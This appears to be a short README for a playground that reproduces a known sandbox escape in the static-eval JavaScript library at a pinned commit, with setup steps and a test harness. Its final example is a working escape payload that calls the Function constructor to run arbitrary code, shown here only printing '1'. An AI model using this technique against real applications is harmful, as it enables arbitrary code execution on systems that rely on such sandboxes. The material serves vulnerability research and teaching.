This Playground is based on different JS Sandbox technique and it is useful to improve Sandbox escaping technique in JS context.
- Project
- static-eval cloned from following commit
Following vulnerability was fixed as described on static-eval PR-18
git clone git@github.com:browserify/static-eval.git git checkout c0e719f6b689b5c0f9fc84125741509891ac10ca
- static-eval cloned from following commit
- Reference
cd static-eval/
npm install
$ cat eval.js
var evaluate = require('../index.js');
var parse = require('esprima').parse;
var src = process.argv.slice(2).join(' ');
var ast = parse(src).body[0].expression;
console.log(evaluate(ast));
- math
node eval.js '1+1'
2
- console.log
node eval.js 'console.log(1)'
undefined
- console.log
node eval.js '(function () {}).constructor("console.log(1)")()'
1